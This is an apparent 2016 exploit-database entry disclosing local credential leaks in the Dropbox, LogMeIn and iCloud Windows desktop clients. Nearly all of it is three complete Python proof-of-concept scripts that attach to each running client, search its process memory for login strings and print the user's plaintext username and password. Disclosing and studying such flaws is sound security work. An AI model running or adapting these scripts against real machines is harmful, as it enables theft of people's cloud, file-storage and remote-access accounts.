Multiple Applications - Local Credentials Disclosure



EKU-ID: 5832 CVE: OSVDB-ID:
Author: Yakir Wizman Published: 2016-09-08 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#####
# Dropbox Desktop Client v9.4.49 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.dropbox.com
# Date 06/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
#####
# Dropbox Desktop Client v9.4.49 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account.
#####
# Proof-Of-Concept Code:
 
import time
import urllib
from winappdbg import Debug, Process
 
username    = ''
password    = ''
found       = 0
filename    = "Dropbox.exe"
process_pid = 0
memory_dump = []
 
debug = Debug()
try:
    print "[~] Searching for pid by process name '%s'.." % (filename)
    time.sleep(1)
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(filename):
        process_pid = process.get_pid()
    if process_pid is not 0:
        print "[+] Found process with pid #%d" % (process_pid)
        time.sleep(1)
        print "[~] Trying to read memory for pid #%d" % (process_pid)
        
        process = Process(process_pid)
        for address in process.search_bytes('\x26\x70\x61\x73\x73\x77\x6F\x72\x64\x3D'):
            memory_dump.append(process.read(address,100))
        for i in range(len(memory_dump)):
            email_addr  = memory_dump[i].split('email=')[1]
            tmp_passwd  = memory_dump[i].split('password=')[1]
            username    = email_addr.split('\x00')[0]
            password    = tmp_passwd.split('&is_sso_link=')[0]
            if username != '' and password !='':
                found = 1
                print "[+] Credentials found!\r\n----------------------------------------"
                print "[+] Username: %s" % urllib.unquote_plus(username)
                print "[+] Password: %s" % password
        if found == 0:
            print "[-] Credentials not found! Make sure the client is connected."
    else:
        print "[-] No process found with name '%s'." % (filename)
    
    debug.loop()
finally:
    debug.stop()
 
 
    
######################################################################
 
#####
# LogMeIn Client v1.3.2462 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://secure.logmein.com/home/en
# Date 06/09/2016
# Bug Discovery by:
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
#####
# LogMeIn Client v1.3.2462 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account and associated computers.
#####
# Proof-Of-Concept Code:
 
import time
import urllib
from winappdbg import Debug, Process
 
username    = ''
password    = ''
found       = 0
filename    = "LMIIgnition.exe"
process_pid = 0
memory_dump = []
 
debug = Debug()
try:
    print "[~] Searching for pid by process name '%s'.." % (filename)
    time.sleep(1)
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(filename):
        process_pid = process.get_pid()
    if process_pid is not 0:
        print "[+] Found process with pid #%d" % (process_pid)
        time.sleep(1)
        print "[~] Trying to read memory for pid #%d" % (process_pid)
        
        process = Process(process_pid)
        for address in process.search_bytes('\x26\x5F\x5F\x56\x49\x45\x57\x53\x54\x41\x54\x45\x3D'):
            memory_dump.append(process.read(address,150))
        for i in range(len(memory_dump[0])):
            email_addr  = memory_dump[i].split('email=')[1]
            tmp_passwd  = memory_dump[i].split('password=')[1]
            username    = email_addr.split('&hiddenEmail=')[0]
            password    = tmp_passwd.split('&rememberMe=')[0]
            if username != '' and password !='':
                found = 1
                print "[+] Credentials found!\r\n----------------------------------------"
                print "[+] Username: %s" % urllib.unquote_plus(username)
                print "[+] Password: %s" % password
                break
        if found == 0:
            print "[-] Credentials not found! Make sure the client is connected."
    else:
        print "[-] No process found with name '%s'." % (filename)
    
    debug.loop()
finally:
    debug.stop()
 
 
    
######################################################################
 
#####
# Apple iCloud Desktop Client v5.2.1.0 Local Credentials Disclosure After Sign Out Exploit
# Tested on Windows Windows 7 64bit, English
# Vendor Homepage   @ https://www.apple.com/
# Product Homepage  @ https://support.apple.com/en-us/HT204283
# Date 07/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
#####
# Apple iCloud Desktop Client v5.2.1.0 is vulnerable to local credentials disclosure after the user is logged out.
# It seems that iCloud does not store the supplied credentials while the user is logged in, but after sign out the supplied username and password are stored in a plaintext format in memory process.
# Funny eh?!
# A potential attacker could reveal the supplied username and password in order to gain access to iCloud account.
#
# Authors are not responsible for any misuse or demage which caused by use of this script code.
# Please use responsibly.
#####
# Proof-Of-Concept Code:
 
import time
import urllib
from winappdbg import Debug, Process
 
def b2h(str):
    return ''.join(["%02X " % ord(x) for x in str]).strip()
 
def h2b(str):
    bytes = []
    str = ''.join(str.split(" "))
    for i in range(0, len(str), 2):
        bytes.append(chr(int(str[i:i+2], 16)))
    return ''.join(bytes)
 
usr         = ''
pwd         = ''
found       = 0
filename    = "iCloud.exe"
process_pid = 0
memory_dump = []
 
debug = Debug()
try:
    print "#########################################################################"
    print "#\tApple iCloud v5.2.1.0 Local Credentials Disclosure Exploit\t#"
    print "#   Bug Discovery by Yakir Wizman, Victor Minin, Alexander Korznikov\t#"
    print "#\t\tTested on Windows Windows 7 64bit, English\t\t#"
    print "#\t\t\tPlease use responsibly.\t\t\t\t#"
    print "#########################################################################\r\n"
    print "[~] Searching for pid by process name '%s'.." % (filename)
    time.sleep(1)
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(filename):
        process_pid = process.get_pid()
    if process_pid is not 0:
        print "[+] Found process with pid #%d" % (process_pid)
        time.sleep(1)
        print "[~] Trying to read memory for pid #%d" % (process_pid)
        
        process = Process(process_pid)
        for address in process.search_bytes('\x88\x38\xB7\xAE\x73\x8C\x07\x00\x0A\x16'):
            memory_dump.append(process.read(address,50))
        
        try:
            str = b2h(memory_dump[0]).split('88 38 B7 AE 73 8C 07 00 0A 16')[1]
            usr = h2b(str.split(' 00')[0])
        except:
            pass
            
        memory_dump = []
        for address in process.search_bytes('\x65\x00\x88\x38\xB7\xAE\x73\x8C\x07\x00\x02\x09'):
            memory_dump.append(process.read(address,60))
        try:
            str = b2h(memory_dump[0]).split('07 00 02 09')[1]
            pwd = h2b(str.split(' 00')[0])
        except:
            pass
        
        if usr != '' and pwd !='':
            found = 1
            print "[+] iCloud Credentials found!\r\n----------------------------------------"
            print "[+] Username: %s" % usr
            print "[+] Password: %s" % pwd
        if found == 0:
            print "[-] Credentials not found!"
    else:
        print "[-] No process found with name '%s'." % (filename)
    
    debug.loop()
finally:
    debug.stop()